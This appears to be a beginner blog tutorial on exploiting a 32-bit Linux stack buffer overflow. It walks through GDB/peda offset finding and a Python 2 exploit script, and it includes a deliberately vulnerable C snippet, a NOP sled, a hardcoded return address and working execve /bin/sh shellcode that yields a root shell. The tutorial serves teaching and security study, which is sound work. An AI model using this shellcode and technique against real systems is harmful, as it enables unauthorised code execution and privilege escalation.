BOOK THIS SPACE FOR AD
ARTICLE ADHey there, so it’s been a while and I have decided to dedicate the next few posts to binary exploitation, specifically, linux binaries. This first one will introduce to you the concept of “Stack Smashing” which is another word for a buffer overflow. I will assume you have a basic understanding of python, C/C++ and also assembly and reverse engineering for this blog however I will also try and touch on everything as best I can to keep this beginner friendly.
If you want to reach out to me follow my Twitter
The stack is an area of memory within a process that is used by the process to save data. The stack is also used to track the execution of a program. During a new function call, the last address before the function call is stored on the stack. This is called a return address because this is where the program will return once execution has finished. It is also important to note that the stack is 4 byte aligned. All this might sound confusing right now but will make more sense as we dive later into a practical example.
Linux binaries are commonly created using C and C++. As you may or may not be aware these two languages are highly susceptible to buffer overflow attacks and stack overflow attacks.
So I know I keep mentioning buffer and stack overflows, but what exactly is it? Well I’ll use a little example, say you have a bath tub and you start running the bath and you go away to go cook a pizza. The water will still keep flowing into the bath tub and eventually the bath will overflow and cause leaks and flooding to the bathroom and maybe even other rooms. Now, we learn from our mistake and insert a drain onto the bath so that the water can be controlled and pointed to a drainage system of our choosing. This is essentially a stack/buffer overflow where a user supplies data to a program and the buffer cannot handle the data and causes a crash, this crash being our leaking water and then we point the EIP register, our drain, to a different area of memory which will then be executed.
Let’s have a quick look at some code to see what we would potentially be looking for in this scenario.
int vuln(){char buffer[500];
int user_data;
user_input = read(0, buffer, 700);
return 0;
}
As you can see, the buffer size is 500 bytes but the program is reading 700 bytes of data which will cause our buffer to overflow. So where do we go from here? We need to throw this program into a debugger and analyses what will happen and how it all crashes.
We are going to use a debugger called GDB and a plugin called peda. Both of these are powerful when it comes to binex however plugin preference is down to the researcher.
GDB usually comes preinstalled with Kali but the peda plugin can be found on github here:
https://github.com/longld/peda
To start GDB you can type the following
gdb vulnReplace vuln with the name of your binary. Once inside you should get a screen that looks similar to this.
Both GDB and peda come with some cool features, I won’t go everything but for now it’s good to understand and know that there is two called pattern create and pattern offset. Pattern create will create a string of characters that we will throw at the program and pattern offset will calculate how may bytes it too to overflow the buffer. For those with some binex experience you will know that Metasploit has this feature too.
To use pattern create we supply GDB with the following command
pattern create 1000This will create a string of characters that we will use later to run against the program to see if we can overflow the buffer.
Now we need to run this file against the binary, we can do this again simply by typing
run '<pattern'If our binary is vulnerable it will crash and we will then get a address in peda, which can also be seen in the EIP register, where we can then use pattern offset to find out how many bytes it took to overflow the buffer. To do this we simply do
pattern offset 0x01020304There is a few more commands in gdb we have not looked at yet, this is the info registers and info functions both of these will get information about the registers and function. Literally as the name suggests. We can also inspect addresses with the command
x/s 0x01020304We can also inspect the next functions to be executed by the application by supply gdb with
x/10i 0x01020304This will inspect the next 10 instructions from the address 0x01020304 you can also supply it registers too with
x/10i $espFinally we can print out a certain number of 32-bit words as hex strings by supplying
x/10wx 0x01020304You can again also supply it with a register by replacing 0x01020304 with $esp
Now lets have a look what this looks like practically. I’ve already loaded up the target binary in GDB.
As you can see we now have caused a crash in our binary and in the bottom line we can see 0x5a254177 in ?? () we can also see our EIP register reads the same address. We now can use this to calculate the amount of bytes we need to overflow the buffer
Perfect now we know we can overflow the buffer with 390 bytes. But we need to see if we can control the EIP register and insert our own value, to do this we will create a simple python script
buf = 'A'*390buf += 'BBBB'
print buf
Note this is python 2, but what are we looking to do? We want to see if we can control the EIP, so we are creating a string of characters that has 390 A’s and then 4 B’s. If we run this against the binary, we should see 0x42424242 in our EIP register.
There is two ways we can run this. Firstly, we can run python2 exploit.py and copy and paste the string it gives us and then supply gdb with run '<string>' or we could supply gdb with
run `python2 exploit.py`I will be using the second option but both will have the exact same output. Once we run this we will see the following
As you can see the EIP reads 0x42424242 which means we have full control of the EIP register and can start to point the binary where we would like. We can now make use of the x/24wx command and inspect the stack.
As you can see here is all our A’s represented by the 0x41414141 we will now use this to create our exploit. We will take the address 0xffffd180 and insert it into our exploit. This is what our exploit will now look like. It’s changed a little but I will explain it now
shell = '\xcc'buf = '\x90'*50
buf += shell
buf += 'A'*(390-50-len(shell))
buf += '\x80\xd1\xff\xff'
print buf
So we have a variable of shell this is our placeholder. We then have our buf variable that has the value of \x90 which is basically a NOP which stands for No Operation, this essentially will just act as a form of padding for our shellcode later to run. We then add the shell variable to our buffer and then our A’s as junk. But we also minus 50 from our offset value and the length of the shellcode, why? Because if we didn’t do this we would cause another buffer overflow. We finally then have a value of \x80\xd1\xff\xff this is the address 0xffffd180 but wrote backwards to ensure we comply with little endian.
Running this we will see if we inspect the x/40i $eip+0x20 the following
Now if we run this in gdb we can get a shell and it’s exploited right? Wrong, the gdb environment is actually set up differently to the binary so we need to find another address we first need to type
ulimit -c unlimitedInto our terminal so we can create our core file. Also copy the binary with the command
cp ./vuln vuln2We then run the exploit against the binary with the command
./vuln2 `python2 exploit.py`This will create a core file we can then analyze in gdb we do this with
gdb ./vuln2 ./coreOnce in gdb you will see that we get a SIGSEGV fault
This means basically we can’t read/write to or from that location so we need another address. If we inspect the stack again we see the address we jumped too isn’t valid this is why we are getting our error.
We now will try a higher address to see if we can execute execute our shell there such as 0xffffd210. We also need to add our shell code and replace our shell variable with
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"Once we have done his we now need to run our exploit again against our binary with the following command
./vuln `python2 exploit.py`As you can now see we have a root shell and you just exploited the binary. This was a basic stack overflow. In the wild this usually isn’t as simple to exploit due to mitigations such as ASLR, NX etc. In other blogs I will be going over these and how to also bypass them.
Thanks for reading